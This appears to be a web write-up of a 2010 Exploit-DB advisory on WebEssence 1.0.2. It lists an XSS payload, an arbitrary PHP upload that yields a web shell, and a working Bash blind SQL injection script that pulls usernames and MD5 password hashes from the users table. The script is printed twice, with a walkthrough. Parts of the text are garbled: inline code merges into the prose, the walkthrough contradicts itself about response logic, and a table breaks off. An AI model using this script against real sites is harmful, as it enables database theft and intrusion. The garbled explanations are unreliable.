Understanding WebEssence 1.0.2 Vulnerabilities: A Historical Exploit Analysis

Understanding WebEssence 1.0.2 Vulnerabilities: A Historical Exploit Analysis
What this paper is
This paper details multiple vulnerabilities discovered in WebEssence version 1.0.2, a web application. The vulnerabilities include Cross-Site Scripting (XSS), Remote File Upload, and Remote Blind SQL Injection. The authors, white_sheep, r00t, and epicfail, presented these findings at the Debug|Track session during the Backtrack|Italia community conference in 2010. The provided exploit code focuses on the Remote Blind SQL Injection.
Simple technical breakdown
The paper describes three main security flaws:
- XSS (Cross-Site Scripting): The
oembed.phpscript is vulnerable to XSS. By manipulating theurlparameter, an attacker can inject malicious JavaScript code that will execute in the victim's browser when they visit a crafted link. - Remote Shell Upload: Unprivileged registered users can upload arbitrary PHP or ASP files to the
uploads/other/directory. This allows an attacker to upload a web shell and gain remote code execution on the server. - Remote Blind SQL Injection: The
comment_do.phpscript is vulnerable to blind SQL injection. An attacker can craft specific SQL queries within theitemidparameter to extract data from the database, character by character, without seeing the direct output of the query.
The provided exploit script automates the blind SQL injection to extract a username and an MD5-hashed password from the users table.
Complete code and payload walkthrough
The provided script is a Bash script designed to perform a Remote Blind SQL Injection attack.
#!/bin/bash
query1="1/**/AND/**/CHAR("
query2=")=(SELECT/**/SUBSTRING(name,"
query3=",1)/**/FROM/**/users)"
url=$1
path=$2
if [ "$1" == "" || "$2" == "" ]
then
echo "Usage: $0 [url] [path]"
echo "Example: $0 http://localhost /webessence"
exit
fi
good=0
position=1
#SEARCH USERNAME
echo -n "Username: "
while [ $good -lt 1 ]
do
found="false"
for name in `seq 97 122`
do
NOW=`curl -s -d "name=Ph33r&url=&email=&comment=Ph33r&itemid=$query1$name$query2$position$query3" -H "Referer: $url$path" -H "Content-Type: application/x-www-form-urlencoded" $url$path/comment_do.php`
if [ "$NOW" == "" ]
then
let position+=1
found="true"
perl -e "printf '%c', $name;"
continue
fi
done
if [ "$found" == "false" ]
then
good=1
fi
done
good=0
position=1
query2=")=(SELECT/**/SUBSTRING(pwd,"
pwd_chr="48 49 50 51 52 53 54 55 56 57 97 98 99 100 101 102"
#SEARCH PASSWORD
echo ""
echo -n "MD5 Pass: "
while [ $good -lt 1 ]
do
found="false"
for pwd in $pwd_chr
do
NOW=`curl -s -d "name=Ph33r&url=&email=&comment=Ph33r&itemid=$query1$pwd$query2$position$query3" -H "Referer: $url$path" -H "Content-Type: application/x-www-form-urlencoded" $url$path/comment_do.php`
if [ "$NOW" == "" ]
then
let position+=1
found="true"
perl -e "printf '%c', $pwd;"
continue
fi
done
if [ "$found" == "false" ]
then
good=1
fi
done
echo ""Let's break down the code:
#!/bin/bash: Shebang line, indicating the script should be executed with Bash.query1="1/**/AND/**/CHAR(": Defines the first part of the SQL injection payload./**/is used for SQL comment obfuscation, often to bypass simple WAFs or parsers.CHAR()is a SQL function that returns the character represented by an ASCII code.query2=")=(SELECT/**/SUBSTRING(name,": Defines the second part of the payload.SUBSTRING(string, start, length)is a SQL function to extract a substring. This part aims to select a substring from thenamecolumn.query3=",1)/**/FROM/**/users)": Defines the third part of the payload. This completes theSUBSTRINGfunction and specifies theuserstable as the source.url=$1: Assigns the first command-line argument (the target URL) to theurlvariable.path=$2: Assigns the second command-line argument (the path to the web application) to thepathvariable.if [ "$1" == "" || "$2" == "" ]: Checks if both URL and path arguments are provided. If not, it prints usage instructions and exits.good=0,position=1: Initializes variables.goodacts as a flag to control the main loops, andpositiontracks the current character position being extracted from the database.#SEARCH USERNAME: Comment indicating the start of the username extraction phase.echo -n "Username: ": Prompts the user that username extraction is starting.while [ $good -lt 1 ]: The main loop for extracting the username. It continues as long asgoodis less than 1 (i.e., until the end of the username is found).found="false": Resets a flag for each position.for name inseq 97 122``: This loop iterates through ASCII values from 97 to 122, which correspond to lowercase letters 'a' through 'z'. This is the character set being tested for the username.NOW=curl -s -d "name=Ph33r&url=&email=&comment=Ph33r&itemid=$query1$name$query2$position$query3" -H "Referer: $url$path" -H "Content-Type: application/x-www-form-urlencoded" $url$path/comment_do.php``: This is the core of the blind SQL injection.curl -s: Executes a cURL request silently.-d "name=Ph33r&url=&email=&comment=Ph33r&itemid=...": Sends POST data to the target URL. Theitemidparameter is where the crafted SQL injection payload is placed. The other parameters (name,url,email,comment) are dummy values.- The
itemidpayload is constructed as:1/**/AND/**/CHAR(ASCII_CODE)=(SELECT/**/SUBSTRING(name,CURRENT_POSITION,1)/**/FROM/**/users). - The script checks if the response from the server is empty (
if [ "$NOW" == "" ]). In a blind SQL injection, an empty response typically signifies that the injected condition is false. A non-empty response (or a specific error/different content) would indicate the condition is true. The script's logic here is inverted: it expects an empty response when the character matches. This is a common technique where the application might behave differently (e.g., error out, return a specific message) when the condition is true, and return nothing or a default page when false. - Crucially, the script expects a non-empty response when the injected character is incorrect and an empty response when the character is correct. This is an unusual but functional way to achieve blind injection if the application's error handling or default response is consistent.
-H "Referer: $url$path": Sets the Referer header. This might be used by the application for validation or logging.-H "Content-Type: application/x-www-form-urlencoded": Sets the Content-Type header for the POST request.$url$path/comment_do.php: The target script that is vulnerable.
if [ "$NOW" == "" ]: If the response is empty, it means the current character ($name) is likely the correct character at the currentposition.let position+=1: Increments the position for the next character.found="true": Sets the flag to indicate a character was found.perl -e "printf '%c', $name;": Uses Perl to convert the ASCII code ($name) back into a character and prints it. This reveals the found character of the username.continue: Skips to the next iteration of the inner loop.
if [ "$found" == "false" ]: If the inner loop completes without finding a matching character for the current position, it means the end of the username has been reached.good=1: Sets thegoodflag to exit the outerwhileloop.
good=0,position=1: Resets variables for password extraction.query2=")=(SELECT/**/SUBSTRING(pwd,": Updatesquery2to target thepwdcolumn instead ofname.pwd_chr="48 49 50 51 52 53 54 55 56 57 97 98 99 100 101 102": Defines a string of ASCII codes representing characters to test for the password. This set includes digits '0'-'9' (48-57) and lowercase letters 'a'-'f' (97-102). This implies the script is designed to find MD5 hashes that only contain these characters, which is a common subset for MD5.#SEARCH PASSWORD: Comment indicating the start of the password extraction phase.echo "",echo -n "MD5 Pass: ": Prompts the user for password extraction.while [ $good -lt 1 ]: The main loop for extracting the password, similar to the username loop.for pwd in $pwd_chr: Iterates through the predefined ASCII codes for password characters.NOW=curl -s -d "name=Ph33r&url=&email=&comment=Ph33r&itemid=$query1$pwd$query2$position$query3" -H "Referer: $url$path" -H "Content-Type: application/x-www-form-urlencoded" $url$path/comment_do.php``: This is the samecurlcommand as before, but nowquery2targets thepwdcolumn, and the loop iterates through thepwd_chrcharacter set.if [ "$NOW" == "" ]: If the response is empty, the current character ($pwd) is likely correct.let position+=1: Increments the position.found="true": Sets the flag.perl -e "printf '%c', $pwd;": Prints the found character of the password.continue: Skips to the next iteration.
if [ "$found" == "false" ]: If no character is found for the current position, the end of the password has been reached.good=1: Exits the loop.
echo "": Prints a newline for formatting.
Mapping of code fragments to practical purpose:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
#
# WebEssence 1.0.2 Multiple Vulnerabilities
#
# Bugs found by white_sheep, r00t and epicfail
# for Debug|Track session @ Backtrack|italia community conference
# www.backtrack.it
#
# # # # # # # # # XSS # # # # # # # # # # # #
# PoC:
# http://localhost/webessence/webessence/oembed.php?url=http://google.com&id=<script>alert('Backtrack|it');</script>
# In "url" variable is possible to inject a remote HTML page
#
# # # # # # Remote Shell Uplaod # # # # # # #
# PoC: (thanks to emgent)
# Unprivileged registered user can upload any PHP or ASP file that can be found in "uploads/other/"
#
# # # # # Remote Blind Sql Injection # # # # #
#!/bin/bash
query1="1/**/AND/**/CHAR("
query2=")=(SELECT/**/SUBSTRING(name,"
query3=",1)/**/FROM/**/users)"
url=$1
path=$2
if [ "$1" == "" || "$2" == "" ]
then
echo "Usage: $0 [url] [path]"
echo "Example: $0 http://localhost /webessence"
exit
fi
good=0
position=1
#SEARCH USERNAME
echo -n "Username: "
while [ $good -lt 1 ]
do
found="false"
for name in `seq 97 122`
do
NOW=`curl -s -d "name=Ph33r&url=&email=&comment=Ph33r&itemid=$query1$name$query2$position$query3" -H "Referer: $url$path" -H "Content-Type: application/x-www-form-urlencoded" $url$path/comment_do.php`
if [ "$NOW" == "" ]
then
let position+=1
found="true"
perl -e "printf '%c', $name;"
continue
fi
done
if [ "$found" == "false" ]
then
good=1
fi
done
good=0
position=1
query2=")=(SELECT/**/SUBSTRING(pwd,"
pwd_chr="48 49 50 51 52 53 54 55 56 57 97 98 99 100 101 102"
#SEARCH PASSWORD
echo ""
echo -n "MD5 Pass: "
while [ $good -lt 1 ]
do
found="false"
for pwd in $pwd_chr
do
NOW=`curl -s -d "name=Ph33r&url=&email=&comment=Ph33r&itemid=$query1$pwd$query2$position$query3" -H "Referer: $url$path" -H "Content-Type: application/x-www-form-urlencoded" $url$path/comment_do.php`
if [ "$NOW" == "" ]
then
let position+=1
found="true"
perl -e "printf '%c', $pwd;"
continue
fi
done
if [ "$found" == "false" ]
then
good=1
fi
done
echo ""